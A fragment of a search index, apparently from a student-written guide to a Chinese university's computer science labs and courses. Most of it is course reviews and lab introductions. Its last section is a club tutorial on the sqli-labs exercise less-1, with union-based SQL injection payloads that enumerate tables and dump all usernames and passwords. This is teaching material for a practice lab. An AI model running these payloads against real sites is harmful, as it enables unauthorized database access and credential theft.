    \u867d\u7136\u6700\u65b0\u7684\u6280\u672f\u662fFlutter\uff0c\u4f46\u6211\u4eec\u4f9d\u7136\u63a8\u8350\u4f60\u4eceJava\u5b66\u8d77\u3002\u63a8\u8350\u4e00\u672c\u4e66\u2014\u2014\u300a\u7b2c\u4e00\u884c\u4ee3\u7801Android\u7b2c\u4e8c\u7248\u300b\uff0c\u56e0\u4e3a\u5b83\u4f7f\u7528Java\u793a\u8303\u4ee3\u7801\u800c\u7b2c\u4e09\u7248\u5df2\u7ecf\u5168\u9762\u8f6c\u5411Kotlin\u4e86\u3002\u2014\u2014\u5ba3\u8bb2\u4f1a

    \u6682\u4e0d\u9762\u5411\u672c\u79d1\u751f\u7eb3\u65b0

    "},{"location":"labs/IcePhone%26WeRun/#_6","title":"\u5728\u5ba3\u8bb2\u4f1a\u63a8\u8350\u7684\u8d44\u6e90","text":"

    CSDN\uff0c\u7a00\u571f\u6398\u91d1\uff0c\u9ed1\u9a6c\u7a0b\u5e8f\u5458\uff0c\u300a\u7b2c\u4e00\u884c\u4ee3\u7801Android\u7b2c\u4e8c\u7248\u300b\uff0c\u5ba3\u8bb2\u4eba\u7684QQ

    "},{"location":"labs/IcePhone%26WeRun/#_7","title":"\u76f8\u5173\u7684\u6bd4\u8d5b","text":"

    \u6821\u957f\u676f\uff0c\u4e92\u8054\u7f51+\u8d5b\u9053\uff0c\u6311\u6218\u676f\u4e91\u4e91

    MCM/ICM\uff0c\u56fd\u8d5b\u4e91\u4e91

    "},{"location":"labs/IcePhone%26WeRun/#_8","title":"\u8bba\u6587","text":"

    SCI/EI\u4e09\u5341\u4f59\u7bc7\uff0c\u4e13\u5229\u548c\u8f6f\u4ef6\u8457\u4f5c\u6743\u4e8c\u5341\u51e0\u9879

    "},{"location":"labs/acrossMedia/","title":"\u8de8\u5a92\u4f53\u667a\u80fd\u7814\u7a76\u4e2d\u5fc3","text":""},{"location":"labs/acrossMedia/#_2","title":"\u5b9e\u9a8c\u5ba4\u7b80\u4ecb","text":"

    \u6210\u7acb\u4e8e2016\u5e749\u6708\uff0c\u4e0e\u4e2d\u56fd\u79d1\u5b66\u9662\u5927\u5b66\uff0c\u4e2d\u79d1\u9662\u8ba1\u7b97\u6240\u7b49\u5355\u4f4d\u5408\u4f5c\u5f00\u5c55\u76f8\u5173\u8bfe\u9898\u7d27\u5bc6\u5408\u4f5c,\u4e2d\u5fc3\u8d1f\u8d23\u4eba\uff08IEEE Fellow,\u6770\u9752\uff0c\u4e2d\u79d1\u9662vipl\u8d1f\u8d23\u4eba\uff09

    "},{"location":"labs/acrossMedia/#_3","title":"\u53ef\u5229\u7528\u8d44\u6e90","text":"

    \u5efa\u8bae\u4eb2\u81ea\u4f53\u4f1a\u4e00\u4e0b

    "},{"location":"labs/acrossMedia/#_4","title":"\u6307\u5bfc\u6559\u5e08","text":"

    \u517c\u804c\u6559\u63881\u4eba\uff0c\u6559\u63881\u4eba\uff0c\u9752\u5e74\u6559\u5e083\u4eba

    "},{"location":"labs/acrossMedia/#_5","title":"\u5b9e\u9a8c\u5ba4\u65b9\u5411","text":"

    \u8de8\u6a21\u6001\u89c6\u9891\u2014\u2014\u6587\u672c\u68c0\u7d22\u4e0e\u5b9a\u4f4d

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    "},{"location":"labs/acrossMedia/#_6","title":"\u76f8\u5173\u7684\u6bd4\u8d5b","text":"

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    "},{"location":"labs/acrossMedia/#_7","title":"\u8bba\u6587","text":"

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    "},{"location":"labs/enterprise/#_3","title":"\u53ef\u5229\u7528\u8d44\u6e90","text":"

    \u8d44\u6599\u7f3a\u5931

    "},{"location":"labs/enterprise/#_4","title":"\u6307\u5bfc\u6559\u5e08","text":"

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    \u6d82\u8001\u5e08\uff1atzy_hit@hit.edu.cn

    \u5927\u6a21\u578b\u7684\u5e94\u7528\uff0c\u5927\u6a21\u578b\u7684\u5206\u6790\uff0cAI\u81ea\u4e3b\u667a\u80fd\u4f53

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    \u968b\u8001\u5e08\uff1asuidianbo@hit.edu.cn

    \u8d44\u6599\u7f3a\u5931

    \uff08\u6ca1\u9519\u6253\u6bd4\u8d5b\u662f\u4e00\u4e2a\u5355\u72ec\u7684\u65b9\u5411\uff09

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    \u6821\u957f\u676f

    \u80e1\u8001\u5e08\uff1ahithuxin@hit.edu.cn

    \u5f20\u8001\u5e08\uff1a26020432@qq.com

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    \u6307\u5bfc\u8001\u5e08\uff1a\u8463\u5f00\u5764\uff0c\u5218\u6768

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    \u5199\u5728\u6700\u540e\uff1a\u5b66\u4e60\u8fc7\u7a0b\u4e2d\uff0c\u5efa\u8bae\u6d3b\u7528\u641c\u7d22\u5f15\u64ce\uff0c\u63d0\u9ad8\u4fe1\u606f\u68c0\u7d22\u548c\u9274\u522b\u80fd\u529b\uff08\u4f8b\u5982\u5c11\u770bCSDN\uff01\uff01\uff01\u591a\u770b\u5b98\u65b9\u6587\u6863\uff09\uff0c\u5438\u6536\u5929\u5730\u65e5\u6708\u7cbe\u534e\u4eba\u5de5\u667a\u80fd\u5927\u6a21\u578b\u4e5f\u662f\u4e2a\u4e0d\u9519\u7684\u8001\u5e08\u3002

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    \u534e\u4e3a\u5357\u4eac\u6570\u901a\u5b9e\u4e60\u57fa\u5730\uff0c\u534e\u4e3a\u4f01\u4e1a\u8bfe\u7a0b+\u771f\u5b9e\u524d\u6cbf\u8bfe\u9898\u5b9e\u8df5

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    "},{"location":"labs/vision/#_3","title":"\u53ef\u5229\u7528\u8d44\u6e90","text":"

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    "},{"location":"major/C%20programming/#_3","title":"\u5148\u4fee\u8981\u6c42","text":"

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    "},{"location":"major/C%20programming/#_7","title":"\u8350\u4e66","text":"

    Warning

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    C Primer Plus

    Quote

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    The C Programming Language

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    "},{"location":"major/C%20programming/#_8","title":"\u5efa\u8bae","text":"

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    "},{"location":"major/C%20programming/#_9","title":"\u8bfe\u7a0b\u7f16\u53f7","text":"

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    "},{"location":"major/C%2B%2B/","title":"C++\u7a0b\u5e8f\u8bbe\u8ba1","text":"SE <\u4e13\u4e1a\u9009\u4fee>"},{"location":"major/C%2B%2B/#_1","title":"\u8bfe\u7a0b\u5b66\u4e60\u5185\u5bb9","text":"

    \u8fd9\u4e2a\u8bfe\u591a\u5c11\u6709\u70b9\u513f\u6807\u9898\u515a\u7684\u610f\u601d\u4e86\uff0c\u4f60\u8bf4\u5b83\u662fC++\u8bfe\u5427\uff0c\u5b83\u9ed8\u8ba4\u4f60\u4f1aiostream\u548cfstream\u800c\u628a\u91cd\u70b9\u653e\u5728\u4e86\u9762\u5411\u5bf9\u8c61\u4e0a\uff0c\u91cd\u70b9\u662f\u7c7b\uff0c\u5bf9\u8c61\uff0c\u6784\u9020\u51fd\u6570\u4e0e\u6790\u6784\u51fd\u6570\uff0c\u6210\u5458\u51fd\u6570\u4e0e\u53cb\u5143\u51fd\u6570\uff0c\u8fd0\u7b97\u7b26\u91cd\u8f7d\u4e0e\u865a\u51fd\u6570\uff0c\u7ee7\u627f\u4e0e\u591a\u6001\uff0c\u865a\u51fd\u6570\u4e0e\u5f02\u8d28\u94fe\u8868\uff0c\u4e0d\u8bb2\u8f93\u51fa\u683c\u5f0f\uff0c\u4e0d\u8bb2\u547d\u540d\u7a7a\u95f4\uff0c\u4e0d\u8bb2STL\uff0c\u81f3\u4e8e\u6700\u65b0\u7279\u6027\u4e4b\u7c7b\u7684\u66f4\u662f\u67e5\u65e0\u6b64\u4eba\uff0c\u4e0d\u592a\u5efa\u8bae\u4f7f\u7528\u8fd9\u95e8\u8bfe\u8fdb\u884cC++\u5b66\u4e60\uff0c\u8fdb\u884c\u77e5\u8bc6\u8865\u5145\u7684\u8bdd\u8fd8\u5dee\u4e0d\u591a\u3002\u8003\u67e5\u8bfe\uff0c\u9009\u4fee\u8bfe\uff0c\u53602.5\u5b66\u5206\u3002

    "},{"location":"major/C%2B%2B/#_2","title":"\u5148\u4fee\u8981\u6c42","text":"

    C++\uff08\u5bf9\uff0c\u53ef\u6015\u4e4b\u5904\u5728\u4e8e\u521d\u5230\u8fd9\u4e2a\u8bfe\u7684\u540c\u5b66\u4eec\u53ef\u80fd\u53ea\u662f\u542c\u8fc7cin\u548ccout\u7684\u5927\u540d\u5c31\u6765\u4e86\uff0c\u4e00\u6765\u50bb\u4e86\u773c\u4e86\uff0c\u6240\u4ee5\u4f60\u5f97\u5148\u770b\u770bC++\u7684\u4e00\u4e9b\u57fa\u672c\u8bed\u6cd5\u518d\u6765\uff09

    "},{"location":"major/C%2B%2B/#_3","title":"\u4efb\u8bfe\u6559\u5e08","text":"\u80e1\u946b

    \u770b\u5f97\u51fa\u6765\u4e5f\u542c\u5f97\u51fa\u6765\u662fC++\u7684\u5927\u5e08\u7ea7\u4eba\u7269\uff0c\u5f88\u4e86\u89e3\u6307\u9488\u9677\u9631\u548c\u9762\u5411\u5bf9\u8c61\uff0c\u4f46\u662f\u5728\u4e00\u4e9b\u5173\u952e\u77e5\u8bc6\u70b9\u5982\u9519\u8bef\u6355\u6349\u548c\u91cd\u8f7d\u8d4b\u503c\u8fd0\u7b97\u7b26\u7b49\u77e5\u8bc6\u70b9\u4e0a\u70b9\u5230\u4e3a\u6b62\uff0c\u201c\u611f\u5174\u8da3\u7684\u81ea\u5df1\u4e0b\u53bb\u67e5\u201d\u3002ppt\u4e5f\u662f\u6e05\u671d\u8001\u7247\u7ea7\u522b\u7684\uff0c\u5b9e\u9a8c\u7559\u56de\u53bb\u81ea\u5df1\u505a\u3002\u4f5c\u4e3a\u4e00\u4e2aC++\u5927\u5e08\uff0c\u4ed6\u6781\u529b\u9f13\uff08song\uff09\u52b1\uff08yong\uff09\u6211\u4eec\u4e22\u6389Dev\u548cCode::Blocks\u6539\u7528VS\uff0c\u56e0\u4e3a\u603b\u6709\u5947\u602a\u7684\u62a5\u9519\u4f60\u5728Dev\u548cCB\u91cc\u5934\u6839\u672c\u53d1\u73b0\u4e0d\u4e86\u3002

    "},{"location":"major/C%2B%2B/#_4","title":"\u8bfe\u7a0b\u6559\u6750","text":"

    \u96f6\u57fa\u7840\u5b66C++\u4ece\u5165\u95e8\u5230\u7cbe\u901a

    \u80e1\u946b\u8001\u5e08\u9009\u8fd9\u73a9\u610f\u513f\u7684\u521d\u5fc3\u662f\u8ba9\u6211\u4eec\u626b\u63cf\u4e8c\u7ef4\u7801\u83b7\u53d6\u66f4\u591a\u8d44\u6599\uff0c\u4f46\u662f\u771f\u6ca1\u51e0\u4e2a\u4eba\u626b\u7801\u7528\u4e66\u4e0a\u7684\u8d44\u6599\uff0c\u751a\u81f3\u4e0a\u8bfe\u8fd9\u4e66\u4e5f\u7528\u4e0d\u4e0a\uff0c\u5b83\u6700\u5927\u7684\u4f5c\u7528\u5927\u6982\u662f\u5b9e\u9a8c\u5361\u58f3\u4e86\u627e\u4ee3\u7801\u7528

    "},{"location":"major/C%2B%2B/#_5","title":"\u5206\u6570\u6784\u6210","text":"\u80e1\u946b

    3\u6b21\u5b9e\u9a8c\u6b63\u5e38\u8ba1\u5165\u5206\u6570\u30021\u6b21\u7ffb\u8f6c\u8bfe\u5802\u7b97\u4f5c\u989d\u5916\u52a0\u5206\uff0c\u8bb2\u89e3\u4e09\u6b21\u5b9e\u9a8c\uff0c\u8bb2\u5f97\u8d8a\u96be\u5206\u8d8a\u9ad8\uff0c\u9700\u8981\u81ea\u5df1\u62a5\u540d\u3002\u4e00\u6b21\u671f\u672b\u8003\u8bd5\u3002\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u7ffb\u8f6c\u8bfe\u5802\u4e00\u5b9a\u8981\u6709\u201c\u81ea\u627e\u7f6a\u53d7\u201d\u5f0f\u7684\u5228\u6839\u95ee\u5e95\u7684\u6001\u5ea6\uff0c\u5426\u5219\u4f60\u5bb9\u6613\u88ab\u5b9e\u9a8c\u5ba4\u5927\u4f6c\u6216\u8005\u8001\u5e08\u4e00\u4e2a\u7075\u9b42\u62f7\u95ee\u5b9a\u5728\u53f0\u4e0a\u3002\u51fa\u52e4\u5206\u6570\u65b9\u9762\u8d44\u6599\u7f3a\u5931

    "},{"location":"major/C%2B%2B/#_6","title":"\u8350\u4e66","text":"

    \u660e\u89e3C++

    \u4f9d\u7136\u662f\u67f4\u7530\u671b\u6d0b\u8001\u5e08\u7684\u529b\u4f5c\uff0c\u96f6\u57fa\u7840\u9996\u9009\uff0c\u4f46\u662f\u5bf9\u591a\u6001\u548cC++\u6df1\u5c42\u6b21\u7684\u7279\u6027\u8bb2\u7684\u4e0d\u592a\u597d

    C++ Primer

    \u4f5c\u8005\u662fStanley B. Lippman\uff0c\u4e00\u672c\u53c2\u8003\u4ef7\u503c\u5927\u4e8e\u9605\u8bfb\u4ef7\u503c\u7684C++\u7ecf\u5178

    C++ Primer Plus

    \u8fd9\u662f\u53e6\u4e00\u672c\u4e66\uff0c\u4e0d\u8981\u8ddf\u4e0a\u5934\u90a3\u672c\u641e\u6df7\u4e86\uff01\u5982\u679c\u4f60\u719f\u6089C Primer Plus\u90a3\u5c31\u4e0d\u591a\u89e3\u91ca\u4e86\uff0c\u5982\u679c\u4f60\u60f3\u6311\u6218\u4e00\u4e0b\u81ea\u5df1\u90a3\u4e5f\u53ef\u4ee5\u8bd5\u8bd5\u8fd9\u672c\u4e66\uff1f\u7f16\u8005\u7684\u540c\u5b66\u751a\u81f3\u6536\u5230\u4e86\u8fd9\u672c\u4e66\u4f5c\u4e3a\u751f\u65e5\u793c\u7269\uff0c\u592a\u6709\u77f3\u7c92\u513f\u4e86

    "},{"location":"major/C%2B%2B/#_7","title":"\u8bfe\u7a0b\u7f16\u53f7","text":"

    XYWHSE32001

    "},{"location":"major/manual/","title":"\u4e13\u4e1a\u89e3\u8bfb","text":"SE <\u4e13\u4e1a\u57fa\u7840>"},{"location":"major/manual/#_2","title":"\u8bfe\u7a0b\u5b66\u4e60\u5185\u5bb9","text":"

    \u8f6f\u5de5\u7b80\u4ecb\uff0c\u670d\u79d1\u7b80\u4ecb\uff0c\u5927\u6570\u636e\u53ca\u5176\u6280\u672f\u7b80\u4ecb\uff0c\u7269\u8054\u7f51\u5de5\u7a0b\u7b80\u4ecb\uff0c\u4eba\u5de5\u667a\u80fd\u7b80\u4ecb\uff0c\u8ba1\u7b97\u673a\u8f85\u52a9\u8bbe\u8ba1\u7b80\u4ecb\uff0c\u5927\u5b66\u751f\u79d1\u6280\u521b\u65b0\u7b80\u4ecb\uff0c\u57f9\u517b\u65b9\u6848\u89e3\u8bfb\uff08\u53ef\u8ba1\u6570\u7684\u8bdd\u8fd9\u662f\u4f60\u8fdb\u5165\u672c\u4e13\u4e1a\u4ee5\u6765\u7684\u7b2c\u56db\u6b21\u57f9\u517b\u65b9\u6848\u89e3\u8bfb\uff09\uff0c\u8003\u67e5\u8bfe\uff0c\u5fc5\u4fee\u8bfe\uff0c\u53601\u5b66\u5206

    "},{"location":"major/manual/#_3","title":"\u5148\u4fee\u8981\u6c42","text":"

    \u4e2d\u6587\u7684\u81ea\u7136\u8bed\u8a00\u5904\u7406\u4e0e\u8bcd\u6cd5\u5206\u6790

    "},{"location":"major/manual/#_4","title":"\u4efb\u8bfe\u6559\u5e08","text":"

    \u4e00\u8282\u8bfe\u6362\u4e00\u4e2a\u8001\u5e08\u6ca1\u6cd5\u5199

    "},{"location":"major/manual/#_5","title":"\u8bfe\u7a0b\u6559\u6750","text":"

    \u4e0d\u5b58\u5728\u7684

    "},{"location":"major/manual/#_6","title":"\u5206\u6570\u6784\u6210","text":"

    \u4e00\u7bc75000\u5b57\u8bfe\u7a0b\u62a5\u544a\uff0c\u5fc5\u987b\u5199\u6210\u8bba\u6587\u5f62\u5f0f\u3002

    "},{"location":"major/manual/#_7","title":"<\u5176\u4ed6\u53ef\u9009\u9879\u76ee>","text":""},{"location":"major/manual/#_8","title":"\u8bfe\u7a0b\u7f16\u53f7","text":"

    XYWHSE21002\uff08\u8fd9\u95e8\u8bfe\u5728\u672c\u4e13\u4e1a\u7684\u5730\u4f4d\u5c5e\u4e8e\u4e07\u4eba\u4e4b\u4e0aC\u8bed\u8a00\u4e4b\u4e0b\uff09

    "},{"location":"outer/","title":"\u4ecb\u7ecd","text":"

    \u57fa\u4e8e\u6821\u672c\u90e8\u6587\u4ef6(https://hituc.hit.edu.cn/2024/0303/c17811a338922/page.psp) \u7cbe\u795e\uff0c\u5728 2022 \u7ea7\u4e4b\u540e \u6bd5\u4e1a\u8981\u6c42\u670910\u4e2a\u5b66\u5206\u7684\u8de8\u4e13\u4e1a\u53d1\u5c55\u8bfe\u7a0b\u5b66\u5206\uff0c\u7531\u4e8e\u5a01\u6d77\u6821\u533a\u57f9\u517b\u65b9\u6848\u5c1a\u672a\u5b8c\u5168\u786e\u5b9a\uff0c2022\u300123\u7ea7\u5c5e\u4e8e\u8fc7\u6e21\u671f\uff0c\u5177\u4f53\u6267\u884c\u60c5\u51b5\u4ecd\u5f85\u89c2\u5bdf\u3002

    \u57fa\u4e8e\u76ee\u524d\u5a01\u6d77\u6821\u533a2022\u7ea7\u8ba1\u7b97\u673a\u5b66\u9662\u57f9\u517b\u65b9\u6848\uff0c\u6ca1\u6709\u5bf9\u5916\u4e13\u4e1a\u9009\u4fee\u8bfe\u5b66\u5206\u505a\u51fa\u8981\u6c42\u3002

    \u5bf9\u4e8e\u9700\u8981\u51fa\u56fd\u5c31\u8bfb\u4e0d\u540c\u4e13\u4e1a\uff08\u6216\u5c31\u8bfb\u4e13\u4e1a\u6709\u5177\u4f53\u524d\u7f6e\u8bfe\u7a0b\u8981\u6c42\uff09\u7684\u540c\u5b66\uff0c\u53ef\u4ee5\u901a\u8fc7\u5916\u4e13\u4e1a\u9009\u4fee\u8bfe\u6765\u5b8c\u5584\u8bfe\u7a0b\u5339\u914d\u5ea6\u3002\u53e6\u5916\uff0c\u5728\u6743\u8861\u65f6\u95f4\u540e\uff0c\u8f85\u4fee\u8bfe\u7a0b\u4e5f\u662f\u4e2a\u4e0d\u9519\u7684\u9009\u62e9\u3002

    "},{"location":"salon/","title":"\u4ecb\u7ecd","text":"

    \u4ff1\u4e50\u90e8\u5185\u90e8\u4ea4\u6d41\u4f1a\u6587\u6863\u5206\u4eab\uff0c\u5185\u5bb9\u548c\u8ba1\u7b97\u673a\u6280\u672f\u76f8\u5173\uff0c\u4e0d\u4ec5\u4ec5\u5c40\u9650\u4e8e\u7f51\u7edc\u7a7a\u95f4\u5b89\u5168\u3002

    "},{"location":"salon/basic_sql_injection/","title":"20240502","text":""},{"location":"salon/basic_sql_injection/#less-1_basic_char","title":"less-1_basic_char","text":""},{"location":"salon/basic_sql_injection/#_1","title":"\u57fa\u672c\u6d41\u7a0b","text":"

    \u76ee\u6807\uff1a\u83b7\u53d6\u6570\u636e\u5e93\u4e2d\u6240\u6709\u7528\u6237\u540d\u548c\u5bc6\u7801

    1. \u67e5\u627e\u6ce8\u5165\u70b9

    2. \u5224\u65ad\u5b57\u7b26\u578b\u8fd8\u662f\u6570\u5b57\u578b----\u5b57\u7b26\u578b

    3. \u5b57\u7b26\u578b\uff1a\u627e\u5230\u95ed\u5408\u65b9\u5f0f----\u53ef\u4ee5\u901a\u8fc7\u5355\u5f15\u53f7\u95ed\u5408 --+\u6ce8\u91ca

    4. group by \u6216\u8005 order by \u5224\u65ad\u5217\u6570

    5. \u67e5\u8be2\u56de\u663e\u4f4d \u8f93\u5165\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684 id \u4f7f\u5f97\u65e0\u6548\u4fe1\u606f\u4e0d\u518d\u663e\u793a\uff1a

      id=-1' union select 1,2,3--+\n
    1. \u663e\u793a 2, 3 \u8bf4\u660e\u56de\u663e\u4f4d\u662f 2\uff0c3
      id=-1' union select 1,2,database() --+\n
    1. \u67e5\u770b database \u540d\u79f0\u62ff\u5230\u5e93\u540d security

    2. version() \u53ef\u4ee5\u67e5\u770b\u7248\u672c

    3. \u62ff\u5230\u8868\u540d\u548c\u5217\u540d\uff1ainformation_schema\uff1a\u6570\u636e\u5e93\u4e2d\u6709 columns\uff1a\u5217\u540d\u96c6\u5408\u8868 \u548c tables\uff1a\u8868\u540d\u96c6\u5408\u8868 \u4e24\u4e2a\u8868\uff0c\u901a\u8fc7

    union select 1,2,table_name from information_schema.tables where table_schema='security'\n
    1. \uff08'security' \u751a\u81f3\u53ef\u4ee5\u76f4\u63a5\u5199 databases() \uff09

    2. \u7528 group_concat() \u6765\u663e\u793a\u6240\u6709 table_name\uff1a

    union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'\n

    \u6700\u7ec8\u62ff\u5230\u8868\u540d users

    1. sql union select 1,version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

      \u83b7\u53d6\u5217\u540d \u7528\u6570\u636e\u5e93\u540d\u548c\u6570\u636e\u8868\u540d\u4e24\u4e2a\u6765\u5b9a\u4f4d\u6240\u9700\u8981\u7684\u5217\u540d \u5f97\u5230 id username password

    2. \u56de\u663e username \u548c password\uff1a

    3. sql union select 1,version(),group_concat(username,'%%%%%',password) from users

    information_schema.tables \u7ed3\u6784\uff1a

    \u5b57\u6bb5 \u542b\u4e49 Table_catalog \u6570\u636e\u8868\u767b\u8bb0\u76ee\u5f55 Table_schema \u6570\u636e\u8868\u6240\u5c5e\u7684\u6570\u636e\u5e93\u540d Table_name \u8868\u540d\u79f0 Table_type \u8868\u7c7b\u578b[system view|base table] Engine \u4f7f\u7528\u7684\u6570\u636e\u5e93\u5f15\u64ce[MyISAM|CSV|InnoDB] Version \u7248\u672c\uff0c\u9ed8\u8ba4\u503c10 Row_format \u884c\u683c\u5f0f[Compact|Dynamic|Fixed] Table_rows \u8868\u91cc\u6240\u5b58\u591a\u5c11\u884c\u6570\u636e Avg_row_length \u5e73\u5747\u884c\u957f\u5ea6 Data_length \u6570\u636e\u957f\u5ea6 Max_data_length \u6700\u5927\u6570\u636e\u957f\u5ea6 Index_length \u7d22\u5f15\u957f\u5ea6 Data_free \u7a7a\u95f4\u788e\u7247 Auto_increment \u505a\u81ea\u589e\u4e3b\u952e\u7684\u81ea\u52a8\u589e\u91cf\u5f53\u524d\u503c Create_time \u8868\u7684\u521b\u5efa\u65f6\u95f4 Update_time \u8868\u7684\u66f4\u65b0\u65f6\u95f4 Check_time \u8868\u7684\u68c0\u67e5\u65f6\u95f4 Table_collation \u8868\u7684\u5b57\u7b26\u6821\u9a8c\u7f16\u7801\u96c6 Checksum \u6821\u9a8c\u548c Create_options \u521b\u5efa\u9009\u9879 Table_comment \u8868\u7684\u6ce8\u91ca\u3001\u5907\u6ce8

    information_schema.columns \u7ed3\u6784\uff1a

    \u5217\u540d \u6570\u636e\u7c7b\u578b \u63cf\u8ff0 TABLE_CATALOG nvarchar(128) \u8868\u9650\u5b9a\u7b26\u3002 TABLE_SCHEMA nvarchar(128) \u8868\u6240\u6709\u8005\u3002 TABLE_NAME nvarchar(128) \u8868\u540d\u3002 COLUMN_NAME nvarchar(128) \u5217\u540d\u3002 ORDINAL_POSITION smallint \u5217\u6807\u8bc6\u53f7\u3002 COLUMN_DEFAULT nvarchar(4000) \u5217\u7684\u9ed8\u8ba4\u503c\u3002 IS_NULLABLE varchar(3) \u5217\u7684\u4e3a\u7a7a\u6027\u3002\u5982\u679c\u5217\u5141\u8bb8 NULL\uff0c\u90a3\u4e48\u8be5\u5217\u8fd4\u56de YES\u3002\u5426\u5219\uff0c\u8fd4\u56de NO\u3002 DATA_TYPE nvarchar(128) \u7cfb\u7edf\u63d0\u4f9b\u7684\u6570\u636e\u7c7b\u578b\u3002 CHARACTER_MAXIMUM_LENGTH smallint \u4ee5\u5b57\u7b26\u4e3a\u5355\u4f4d\u7684\u6700\u5927\u957f\u5ea6\uff0c\u9002\u4e8e\u4e8c\u8fdb\u5236\u6570\u636e\u3001\u5b57\u7b26\u6570\u636e\uff0c\u6216\u8005\u6587\u672c\u548c\u56fe\u50cf\u6570\u636e\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002\u6709\u5173\u66f4\u591a\u4fe1\u606f\uff0c\u8bf7\u53c2\u89c1\u6570\u636e\u7c7b\u578b\u3002 CHARACTER_OCTET_LENGTH smallint \u4ee5\u5b57\u8282\u4e3a\u5355\u4f4d\u7684\u6700\u5927\u957f\u5ea6\uff0c\u9002\u4e8e\u4e8c\u8fdb\u5236\u6570\u636e\u3001\u5b57\u7b26\u6570\u636e\uff0c\u6216\u8005\u6587\u672c\u548c\u56fe\u50cf\u6570\u636e\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002 NUMERIC_PRECISION tinyint \u8fd1\u4f3c\u6570\u5b57\u6570\u636e\u3001\u7cbe\u786e\u6570\u5b57\u6570\u636e\u3001\u6574\u578b\u6570\u636e\u6216\u8d27\u5e01\u6570\u636e\u7684\u7cbe\u5ea6\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002 NUMERIC_PRECISION_RADIX smallint \u8fd1\u4f3c\u6570\u5b57\u6570\u636e\u3001\u7cbe\u786e\u6570\u5b57\u6570\u636e\u3001\u6574\u578b\u6570\u636e\u6216\u8d27\u5e01\u6570\u636e\u7684\u7cbe\u5ea6\u57fa\u6570\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002 NUMERIC_SCALE tinyint \u8fd1\u4f3c\u6570\u5b57\u6570\u636e\u3001\u7cbe\u786e\u6570\u5b57\u6570\u636e\u3001\u6574\u6570\u6570\u636e\u6216\u8d27\u5e01\u6570\u636e\u7684\u5c0f\u6570\u4f4d\u6570\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002 DATETIME_PRECISION smallint datetime \u53ca SQL-92 interval \u6570\u636e\u7c7b\u578b\u7684\u5b50\u7c7b\u578b\u4ee3\u7801\u3002\u5bf9\u4e8e\u5176\u5b83\u6570\u636e\u7c7b\u578b\uff0c\u8fd4\u56de NULL\u3002 CHARACTER_SET_CATALOG varchar(6) \u5982\u679c\u5217\u662f\u5b57\u7b26\u6570\u636e\u6216 text \u6570\u636e\u7c7b\u578b\uff0c\u90a3\u4e48\u8fd4\u56de master\uff0c\u6307\u660e\u5b57\u7b26\u96c6\u6240\u5728\u7684\u6570\u636e\u5e93\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002 CHARACTER_SET_SCHEMA varchar(3) \u5982\u679c\u5217\u662f\u5b57\u7b26\u6570\u636e\u6216 text \u6570\u636e\u7c7b\u578b\uff0c\u90a3\u4e48\u8fd4\u56de DBO\uff0c\u6307\u660e\u5b57\u7b26\u96c6\u7684\u6240\u6709\u8005\u540d\u79f0\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002 CHARACTER_SET_NAME nvarchar(128) \u5982\u679c\u8be5\u5217\u662f\u5b57\u7b26\u6570\u636e\u6216 text \u6570\u636e\u7c7b\u578b\uff0c\u90a3\u4e48\u4e3a\u5b57\u7b26\u96c6\u8fd4\u56de\u552f\u4e00\u7684\u540d\u79f0\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002 COLLATION_CATALOG varchar(6) \u5982\u679c\u5217\u662f\u5b57\u7b26\u6570\u636e\u6216 text \u6570\u636e\u7c7b\u578b\uff0c\u90a3\u4e48\u8fd4\u56de master\uff0c\u6307\u660e\u5728\u5176\u4e2d\u5b9a\u4e49\u6392\u5e8f\u6b21\u5e8f\u7684\u6570\u636e\u5e93\u3002\u5426\u5219\u6b64\u5217\u4e3a NULL\u3002 COLLATION_SCHEMA varchar(3) \u8fd4\u56de DBO\uff0c\u4e3a\u5b57\u7b26\u6570\u636e\u6216 text \u6570\u636e\u7c7b\u578b\u6307\u660e\u6392\u5e8f\u6b21\u5e8f\u7684\u6240\u6709\u8005\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002 COLLATION_NAME nvarchar(128) \u5982\u679c\u5217\u662f\u5b57\u7b26\u6570\u636e\u6216 text \u6570\u636e\u7c7b\u578b\uff0c\u90a3\u4e48\u4e3a\u6392\u5e8f\u6b21\u5e8f\u8fd4\u56de\u552f\u4e00\u7684\u540d\u79f0\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002 DOMAIN_CATALOG nvarchar(128) \u5982\u679c\u5217\u662f\u4e00\u79cd\u7528\u6237\u5b9a\u4e49\u6570\u636e\u7c7b\u578b\uff0c\u90a3\u4e48\u8be5\u5217\u662f\u67d0\u4e2a\u6570\u636e\u5e93\u540d\u79f0\uff0c\u5728\u8be5\u6570\u636e\u5e93\u540d\u4e2d\u521b\u5efa\u4e86\u8fd9\u79cd\u7528\u6237\u5b9a\u4e49\u6570\u636e\u7c7b\u578b\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002 DOMAIN_SCHEMA nvarchar(128) \u5982\u679c\u5217\u662f\u4e00\u79cd\u7528\u6237\u5b9a\u4e49\u6570\u636e\u7c7b\u578b\uff0c\u90a3\u4e48\u8be5\u5217\u662f\u8fd9\u79cd\u7528\u6237\u5b9a\u4e49\u6570\u636e\u7c7b\u578b\u7684\u521b\u5efa\u8005\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002 DOMAIN_NAME nvarchar(128) \u5982\u679c\u5217\u662f\u4e00\u79cd\u7528\u6237\u5b9a\u4e49\u6570\u636e\u7c7b\u578b\uff0c\u90a3\u4e48\u8be5\u5217\u662f\u8fd9\u79cd\u7528\u6237\u5b9a\u4e49\u6570\u636e\u7c7b\u578b\u7684\u540d\u79f0\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002"},{"location":"salon/basic_sql_injection/#less-2_basic_num","title":"less-2_basic_num","text":""},{"location":"salon/basic_sql_injection/#_2","title":"\u6570\u5b57\u578b","text":"

